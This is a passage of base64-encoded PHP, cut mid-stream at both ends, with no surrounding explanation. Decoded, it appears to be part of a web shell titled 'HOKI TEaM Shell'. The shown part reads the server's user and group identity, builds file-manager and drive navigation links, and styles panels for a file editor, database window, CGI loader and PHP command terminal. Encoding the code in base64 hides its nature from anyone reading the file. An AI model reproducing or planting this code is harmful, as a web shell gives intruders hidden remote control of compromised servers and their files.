iKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRldWlkIik/QHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJ1aWQiPT4iPz8/PyIpOwokZ2lkID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZX
RncmdpZCIpJiZmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKT9AcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTphcnJheSgibmFtZSI9PiI/Pz8/IiwgImdpZCI9PiI/Pz8/Iik7CiR1c2VyID0gJHVpZFsnbmFtZSddOwokdWlkI
D0gJHVpZFsndWlkJ107CiRncm91cCA9ICRnaWRbJ25hbWUnXTsKJGdpZCA9ICRnaWRbJ2dpZCddOwp9CiRjd2RfbGlua3MgPSAnJzsKJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKJG49Y291bnQoJHBhdGgpOwpmb3IoJGk9
MDsgJGk8JG4tMTsgJGkrKykgewokY3dkX2xpbmtzIC49ICI8YSBjbGFzcz0naGVhZGVyX3B3ZCcgb25jbGljaz0nZyhcIkZpbGVzTWFuXCIsXCIiOwokY2FjaF9jd2RfcGF0aCA9ICIiOwpmb3IoJGo9MDsgJGo8PSRpOyAkaisrKXsKJGN3ZF9saW5
rcyAuPSAkcGF0aFskal0uJy8nOwokY2FjaF9jd2RfcGF0aCAuPSAkcGF0aFskal0uJy8nOwp9CiRjd2RfbGlua3MgLj0gIlwiKScgcGF0aD0nIi4kY2FjaF9jd2RfcGF0aC4iJyBocmVmPScjYWN0aW9uPWZpbGVtYW4mcGF0aD0iLiRjYWNoX2N3ZF
9wYXRoLiInPiIuJHBhdGhbJGldLiIvPC9hPiI7Cn0KJGRyaXZlcyA9ICIiOwpmb3JlYWNoKHJhbmdlKCdhJywneicpIGFzICRkcml2ZSkKaWYoQGlzX2RpcigkZHJpdmUuJzpcXCcpKQokZHJpdmVzIC49ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZva
WQoMCk7IiBjbGFzcz0iaGVhZGVyX2RyaXZlIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiRjc3Njb2RlID0nCS1tb3otYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1vei1hbmlt
YXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbW96LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstbW96LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LXdlYmtpdC1hbmltYXRpb24tbmFtZTogc3Bpbjstd2Via2l0LWFuaW1
hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy13ZWJraXQtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy13ZWJraXQtYW5pbWF0aW9uLWR1cmF0aW9uOiAxczstbXMtYW5pbWF0aW9uLW5hbWU6IHNwaW47LW1zLWFuaW1hdG
lvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlOy1tcy1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1zLWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7YW5pbWF0aW9uLW5hbWU6IHNwaW47YW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3Vud
DogaW5maW5pdGU7YW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyO2FuaW1hdGlvbi1kdXJhdGlvbjogMXM7JzsKZWNobyAnPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIg
Imh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGU
iIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPG1ldGEgbmFtZT0iUk9CT1RTIiBjb250ZW50PSJOT0lOREVYLCBOT0ZPTExPVyIgLz4KPGxpbmsgaHJlZj0iJy5fX3Nob3dpY29uKCdob2tpbWluaScpLiciIHJlbD0iaWNvbi
IgdHlwZT0iaW1hZ2UveC1pY29uIi8+Cjx0aXRsZT4uLjo6ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgfiBIT0tJIFRFYU0gU2hlbGwgLSB2Jy5fX0hPS0lfVkVSU0lPTl9fLictJy5fX0hPS0lfQ09ERV9OQU1FX18uJyA6Oi4uPC90aXRsZT4KP
HN0eWxlIHR5cGU9InRleHQvY3NzIj4nOz8+Ci5obGFiYWxle2NvbG9yOiM2N2FiZGY7Ym9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzliO21hcmdpbi1sZWZ0OjdweDtwYWRkaW5nOjJweH0jdGJsX3N5bXBwaHAgdHJ7dGV4
dC1hbGlnbjpjZW50ZXJ9I1BocENvZGUsLnBocC1ldmFscy1hY2UsLnZpZXdfbWxfY29udGVudHtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtyaWdodDowO2JvdHRvbTowO2xlZnQ6MDtiYWNrZ3JvdW5kOiMxYjI5MmIyNjt0b3A6NTBweH0uZWRpdG9
yLXZpZXd7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjEwMCV9LnZpZXctY29udGVudHtwb3NpdGlvbjphYnNvbHV0ZTtvdmVyZmxvdy15OmF1dG87d2lkdGg6MTAwJTtoZWlnaHQ6OTMlfTo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7LXdlYmtpdC
1ib3gtc2hhZG93Omluc2V0IDAgMCA2cHggcmdiYSgwLDAsMCwuMyk7Ym9yZGVyLXJhZGl1czoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjEwcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwMTE1f
To6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7Ym9yZGVyLXJhZGl1czoxMHB4Oy13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JhY2tncm91bmQtY29sb3I6IzFlODJiNX0uZWRpdG9yLWZpbGUtbmFtZXttYXJn
aW4tbGVmdDoyOXB4O21hcmdpbi10b3A6NHB4O292ZXJmbG93OmhpZGRlbjt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcH0uZWRpdG9yLWljb257cG9zaXRpb246YWJzb2x1dGV9LmlzX2FjdGl2ZXtiYWNrZ3JvdW5kOnJ
nYmEoNDksNTUsOTMsLjc3KTtib3JkZXItcmFkaXVzOjEwcHh9Lmhpc3RvcnktbGlzdHtoZWlnaHQ6ODglO292ZXJmbG93LXk6YXV0b30ub3B0LXRpdGxle3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NTAlO3RvcDo1MCU7dHJhbnNmb3JtOnRyYW5zbG
F0ZSgtNTAlLC01MCUpO2NvbG9yOiMyZmQwNTE7Zm9udC1zaXplOjI1cHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlfS5vcHRpb25zX21pbl9iYWRnZXt2aXNpYmlsaXR5OmhpZGRlbjt0ZXh0LWFsaWduOmNlbnRlcjtyaWdodDozMHB4O2NvbG9yOiNmZ
mY7YmFja2dyb3VuZDojMmE4YTI0O3BhZGRpbmc6NnB4O2JvcmRlci1yYWRpdXM6NTAlO3dpZHRoOjE1cHg7aGVpZ2h0OjE1cHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246YWJzb2x1dGU7dG9wOi03cHh9I2NnaWxvYWRlci1taW5pbWl6
ZWQsI2RhdGFiYXNlX3dpbmRvdy1taW5pbWl6ZWQsI2VkaXRvci1taW5pbWl6ZWQsI29wdGlvbnNfd2luZG93LW1pbmltaXplZHtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOmZpeGVkO3JpZ2h0Oi0zMHB4O3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7dG9
wOjMwJTt6LWluZGV4Ojk5OTl9Lm1pbmltaXplZC13cmFwcGVye3Bvc2l0aW9uOnJlbGF0aXZlO2JhY2tncm91bmQ6IzBlMzA0YTt3aWR0aDo0NHB4O2hlaWdodDoxMzBweDtjdXJzb3I6cG9pbnRlcjtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOj
VweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjVweH0ubWluaW1pemVkLXRleHR7dHJhbnNmb3JtOnJvdGF0ZSgtOTBkZWcpO2NvbG9yOndoZWF0O2ZvbnQtc2l6ZTp4LWxhcmdlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO
3JpZ2h0Oi01MXB4O3dpZHRoOjEyOXB4O3RvcDotMTBweDtib3JkZXItdG9wLWxlZnQtcmFkaXVzOjQlO2hlaWdodDo1NnB4O3BhZGRpbmc6M3B4fS5jbG9zZS1idXR0b24sLmVkaXRvci1taW5pbWl6ZXtoZWlnaHQ6MjZweDt3aWR0aDozOHB4O3Jp
Z2h0OjdweDtiYWNrZ3JvdW5kOiMxZDU2NzM7Y3Vyc29yOnBvaW50ZXI7cG9zaXRpb246YWJzb2x1dGU7Ym94LXNpemluZzpib3JkZXItYm94O2xpbmUtaGVpZ2h0OjUwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7dG9wOjE3cHg7Ym9yZGVyLXJhZGl
1czoxMDBweH0uZWRpdG9yLW1pbmltaXple3JpZ2h0OjUwcHh9LmNsb3NlLWJ1dHRvbjphZnRlciwuY2xvc2UtYnV0dG9uOmJlZm9yZSwuZWRpdG9yLW1pbmltaXplOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKC00NWRlZyk7Y29udGVudDoiIjtwb3
NpdGlvbjphYnNvbHV0ZTt0b3A6NjMlO3JpZ2h0OjZweDttYXJnaW4tdG9wOi01cHg7bWFyZ2luLWxlZnQ6LTI1cHg7ZGlzcGxheTpibG9jaztoZWlnaHQ6NHB4O3dpZHRoOjI3cHg7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDIxNiwyMDcsMjA3LC43N
Sk7dHJhbnNpdGlvbjphbGwgLjI1cyBlYXNlLW91dH0uZWRpdG9yLW1pbmltaXplOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDApfS5jbG9zZS1idXR0b246YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgtMTM1ZGVnKX0uY2xvc2UtYnV0dG9uOmhvdmVy
OmFmdGVyLC5jbG9zZS1idXR0b246aG92ZXI6YmVmb3JlLC5lZGl0b3ItbWluaW1pemU6aG92ZXI6YmVmb3Jle2JhY2tncm91bmQtY29sb3I6cmVkfS5jbG9zZS1idXR0b246aG92ZXIsLmVkaXRvci1taW5pbWl6ZTpob3ZlcntiYWNrZ3JvdW5kLWN
vbG9yOnJnYmEoMzksNjYsODAsLjk2KX0jY2dpbG9hZGVyLCNkYXRhYmFzZV93aW5kb3csI2VkaXRvciwjb3B0aW9uc193aW5kb3d7ZGlzcGxheTpub25lO3Bvc2l0aW9uOmZpeGVkO3RvcDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7ei1pbmRleD
oyMH0uZWRpdG9yLXdyYXBwZXJ7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6MSV9LmVkaXRvci1oZWFkZXJ7d2lkdGg6OTclO2JhY2tncm91bmQ6cmdiYSgyMSw2Niw4OCwuOTMpO2hlaWdodDozN3B4O21hcmdpb
i1sZWZ0OjEzcHg7cG9zaXRpb246cmVsYXRpdmU7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czoxNXB4O2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjE1cHh9LmVkaXRvci1wYXRoe3Bvc2l0aW9uOmFic29sdXRlO2ZvbnQtc2l6ZTp4LWxhcmdlO21hcmdp
bi1sZWZ0OjEwcHg7dG9wOjZweDtjb2xvcjojMDBmZjdmfS5lZGl0b3ItbW9kYWx7cG9zaXRpb246cmVsYXRpdmU7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywuOTUpO2hlaWdodDo5MCU7bWFyZ2luLWxlZnQ6MjAlO21hcmdpbi1
yaWdodDoyJTtib3JkZXI6MnB4ICMwZTMwNGEgc29saWR9LmVkaXRvci1leHBsb3Jlcnt3aWR0aDoxOSU7aGVpZ2h0OjkwJTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwxLDIzLC45NCk7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDoyO2xlZnQ6MS
U7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItY29udHJvbGxlcntwb3NpdGlvbjpyZWxhdGl2ZTt0b3A6LTEzcHh9LmZpbGUtaG9sZGVye3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCU7aGVpZ2h0OjMwcHh9LmZpbGUtaG9sZGVyP
i5oaXN0b3J5e3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiMwM2IzYTM7Y3Vyc29yOnBvaW50ZXI7bGVmdDo1cHg7Zm9udC1zaXplOjE4cHg7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjt3aWR0aDo4OSU7aGVpZ2h0OjEwMCU7ei1pbmRleDozO2JvcmRl
ci1yYWRpdXM6MTBweDt0cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjZzIGVhc2Utb3V0fS5maWxlLWhvbGRlcj4uaGlzdG9yeS1jbG9zZXtkaXNwbGF5OmJsb2NrO29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDoycHg7d2lkdGg
6MjBweDt0b3A6NHB4O3RleHQtYWxpZ246Y2VudGVyO2N1cnNvcjpwb2ludGVyO2NvbG9yOiNmZmY7YmFja2dyb3VuZDpyZWQ7Ym9yZGVyLXJhZGl1czoxMDBweDtmb250LWZhbWlseTptb25vc3BhY2U7ei1pbmRleDoxMDt0cmFuc2l0aW9uOm9wYW
NpdHkgLjZzIGVhc2Utb3V0O2ZvbnQtc2l6ZToxNXB4O2hlaWdodDoxOXB4fS5maWxlLWhvbGRlcj4uaGlzdG9yeTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM2NDY0NjR9LmVkaXRvci1leHBsb3Jlcj4uaGhlYWRlcntwb3NpdGlvbjpyZWxhdGl2Z
Ttjb2xvcjojMTRmZjA3O2JvcmRlci1ib3R0b206MnB4ICMyMDZhYTIgc29saWQ7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjttYXJnaW4tYm90dG9tOjEwcHg7aGVpZ2h0OjU1cHh9LmVkaXRvci1zZWFyY2h7cG9zaXRp
b246YWJzb2x1dGU7Ym90dG9tOjdweDtsZWZ0OjMxcHh9LmhoZWFkZXItdGV4dHtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjhweDt0b3A6MnB4fS5oaXN0b3J5LWNsZWFye3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjhweDt0b3A6MnB4O2N1cnNvcjp
wb2ludGVyfS5lZGl0b3ItYm9keXtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tbGVmdDozcHg7aGVpZ2h0OjEwMCV9LmVkaXRvci1hbmltLWNsb3Nley13ZWJraXQtYW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkcz
stbW96LWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvckNsb3NlIC44cyBlYXNlLWluLW91d
CBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvckNsb3NlezAle3Zpc2liaWxpdHk6MTtvcGFjaXR5OjF9MTAwJXt2aXNpYmlsaXR5OjA7b3BhY2l0eTowfX0uZWRpdG9yLWFuaW0tbWluaW1pemV7LXdlYmtpdC1hbmltYXRpb246ZWRpdG9yTWluaW1p
emUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbml
tYXRpb246ZWRpdG9yTWluaW1pemUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yTWluaW1pemV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH19LmVkaXRvci1hbmltLXNob3
d7LXdlYmtpdC1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JTaG93IC44cyBlYXNlL
WluLW91dCBmb3J3YXJkczthbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JTaG93ezAle3JpZ2h0Oi0yMDAwcHg7b3BhY2l0eTowfTEwMCV7cmlnaHQ6MDtvcGFjaXR5OjF9fS5taW5p
bWl6ZWQtc2hvd3std2Via2l0LWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOm1pbmltaXplU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjptaW5pbWl
6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgbWluaW1pemVTaG93ezAle3JpZ2h0Oi0zMHB4O29wYWNpdHk6MH0xMDAle3JpZ2h0Oj
A7b3BhY2l0eToxfX0ubWluaW1pemVkLWhpZGV7LXdlYmtpdC1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjptaW5pbWl6ZUhpZGUgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tc
y1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIG1pbmltaXplSGlkZXswJXtyaWdodDowO29wYWNpdHk6
MX0xMDAle3JpZ2h0Oi0zMHB4O29wYWNpdHk6MH19Lmtpc2VyeW91bmktdGV4dDpob3Zlcnstd2Via2l0LXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7LW1vei10ZXh0LXNoYWRvdzowIDAgMjVweCAjMGYwOy1tcy10ZXh0LXNoYWRvdzowIDAgMjV
weCAjMGYwO3RleHQtc2hhZG93OjAgMCAyNXB4ICMwZjB9LnVwZGF0ZS1ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMjQsMjksLjcyKTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlfS51cGRhdGUtY29udG
VudHtwb3NpdGlvbjpyZWxhdGl2ZX0udXBkYXRlLWNvbnRlbnQ+YXt0ZXh0LWRlY29yYXRpb246bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjpyZ2JhKDEwMywxNjcsNDcsLjc3KTtsZWZ0OjI0JTttYXJnaW4tdG9wOjclO2ZvbnQtc2l6ZTo0M
HB4fS51cGRhdGUtY2xvc2V7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDttYXJnaW4tcmlnaHQ6MjNweDt0b3A6MTBweDtmb250LXNpemU6MjdweDtiYWNrZ3JvdW5kLWNvbG9yOiMxMzBmNTA7d2lkdGg6NSU7Ym9yZGVyLXJhZGl1czoxMDBweDtj
dXJzb3I6cG9pbnRlcjtib3JkZXI6MnB4ICMwZTI2NWEgc29saWR9LnVwZGF0ZS1jbG9zZTpob3Zlcntib3JkZXI6MnB4ICMyNWZmMDAgc29saWQ7Y29sb3I6cmVkfS5maWxlc3Rvb2xze2hlaWdodDphdXRvO3dpZHRoOmF1dG87Y29sb3I6IzY3YWJ
kZjtmb250LXNpemU6MTJweDtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmfUAtbW96LWRvY3VtZW50IHVybC1wcmVmaXgoKXsjc2VhcmNoLWlucHV0e3dpZHRoOjE3M3B4fS5lZGl0b3ItcGF0aHt0b3A6M3B4fX0uZmlsdGVycy
1ob2xkZXJ7cGFkZGluZzo1cHg7cGFkZGluZy1sZWZ0OjEwcHh9LmZpbHRlcnMtaG9sZGVyIGlucHV0e3dpZHRoOjIwMHB4fS5maWx0ZXJzLWhvbGRlciBzcGFue2NvbG9yOiM4YmM3Zjd9I3JpZ2h0Y2xpY2tfbWVudXt3aWR0aDoxNzVweDt2aXNpY
mlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246Zml4ZWQ7YmFja2dyb3VuZDojMGYzMDRhO2NvbG9yOiM1NTU7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6MTFweDstd2Via2l0LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFz
ZS1pbi1vdXQ7LW1vei10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1tcy10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1vLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7dHJhbnNpdGlvbjpvcGF
jaXR5IC41cyBlYXNlLWluLW91dDstd2Via2l0LWJveC1zaGFkb3c6LTFweCAwIDE3cHggMCAjOGI4YjhjOy1tb3otYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7Ym94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7cGFkZGluZz
owO2JvcmRlcjoxcHggc29saWQgIzczNzM3Mztib3JkZXItcmFkaXVzOjEwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhe2Rpc3BsYXk6YmxvY2s7Y29sb3I6I2ZmZjtmb250LXdlaWdodDpib2xkZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFkZGluZzo2c
HggOHB4IDZweCAzMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO3BhZGRpbmctbGVmdDo0MHB4fSNyaWdodGNsaWNrX21lbnUgYSBpLmZhLCNyaWdodGNsaWNrX21lbnUgYSBpbWd7aGVpZ2h0OjIwcHg7Zm9udC1zaXplOjE3cHg7d2lkdGg6MjBweDtwb3Np
dGlvbjphYnNvbHV0ZTtsZWZ0OjVweDt0b3A6MnB4O3BhZGRpbmctbGVmdDo1cHh9I3JpZ2h0Y2xpY2tfbWVudSBhIHNwYW57Y29sb3I6I2JjYjFiMztmbG9hdDpyaWdodH0jcmlnaHRjbGlja19tZW51IGE6aG92ZXJ7Y29sb3I6I2ZmZjtiYWNrZ3J
vdW5kOiMzODc5ZDl9I3JpZ2h0Y2xpY2tfbWVudSBocntib3JkZXI6MXB4IHNvbGlkICNlYmViZWI7Ym9yZGVyLWJvdHRvbTowfS5jbC1wb3B1cC1maXhlZHtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJT
tiYWNrZ3JvdW5kOiMyMDFlMWVhZH0jc2hvcnRjdXRNZW51LWhvbGRlcntwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NDAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtiYWNrZ3JvdW5kOiMxZjFlMWVkYjtoZWlnaHQ6MTkwc
Hg7d2lkdGg6NTAwcHg7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtaGVhZHtiYWNrZ3JvdW5kOiMyMDcxNzQ7cGFkZGluZzo2cHg7Ym9yZGVyLXRvcDoxMHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMt
c2VyaWY7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3Jte3BhZGRpbmc6MTBweH0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmxhYmVse2Rpc3BsYXk6YmxvY2t9I3Nob3J0Y3V0TWVudS1ob2xkZXI+Zm9ybT5pbnB1dHt3aWR0aDo
5OSU7aGVpZ2h0OjI0cHg7bWFyZ2luLXRvcDo0cHg7Y29sb3I6I2ZmZjtvdXRsaW5lOjA7Zm9udC1zaXplOjE2cHh9I3Nob3J0Y3V0TWVudS1ob2xkZXI+LnBvcHVwLWZvb3R7ZmxvYXQ6cmlnaHQ7aGVpZ2h0OjMwcHg7bWFyZ2luLXJpZ2h0OjhweH
0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdD5idXR0b257aGVpZ2h0OjEwMCU7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6I2ZmZjtvdXRsaW5lOjB9LnBocC10ZXJtaW5hbC1vdXRwdXR7b3ZlcmZsb3c6YXV0bztoZWlnaHQ6ODYlO2JvcmRlc
joxcHggc29saWQgIzFlNTY3Mztib3JkZXItcmFkaXVzOjEwcHh9LmNtZC1oaXN0b3J5LWhvbGRlcnt2aXNpYmlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2RmZjNkNTtiYWNrZ3JvdW5kOiMwOTNkNTg7dG9w
Oi0zMDBweDtoZWlnaHQ6MzAwcHg7d2lkdGg6Y2FsYyg2OSUgKyAtMTFweCk7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwO2xlZnQ6Y2FsYygyJSAtIDlweCk7dHJhbnNpdGlvbjp2aXNpYmlsaXR5IC41cyxvcGFjaXR5IC41cyBsaW5lYXJ9LmN
tZC1oaXN0b3J5LWhvbGRlciAuY29tbWFuZHMtaGlzdG9yeS1oZWFkZXJ7YmFja2dyb3VuZDojMzc1MDRlO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6MTBweCAxMHB4IDAgMH0uY21kLWhpc3RvcnktaWNvbnt3aWR0aDoyN3B4O3RvcD
o2cHg7bGVmdDpjYWxjKDY5JSArIDVweCk7cG9zaXRpb246YWJzb2x1dGU7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmV7cGFkZGluZzo0cHg7Ym9yZGVyLWJvdHRvbToxcHggZGFzaGVkO2N1cnNvcjpwb2ludGVyfS5oaXN0b3J5LWNtZ
C1saW5lOmhvdmVye2JhY2tncm91bmQ6Izk2MTExMX0jbXlVTCwjbXlVTCB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZX0jbXlVTHttYXJnaW46MDtwYWRkaW5nOjB9LmJveHtjdXJzb3I6cG9pbnRlcjstd2Via2l0LXVzZXItc2VsZWN0Om5vbmU7LW1v
ei11c2VyLXNlbGVjdDpub25lOy1tcy11c2VyLXNlbGVjdDpub25lO3VzZXItc2VsZWN0Om5vbmV9LmJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjEwIjtjb2xvcjojMDAwO2Rpc3BsYXk6aW5saW5lLWJsb2NrO21hcmdpbi1yaWdodDo2cHh9LmNoZWN
rLWJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjExIjtjb2xvcjojMWU5MGZmfS5uZXN0ZWR7ZGlzcGxheTpub25lfS5hY3RpdmV7ZGlzcGxheTpibG9ja30uZmxhZy1ob2xkZXI+aW1ne3dpZHRoOjIwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZG
RpbmctbGVmdDo2cHh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5Om5vbmU7b3ZlcmZsb3c6YXV0bzttaW4taGVpZ2h0OjMwMHB4O21heC1oZWlna
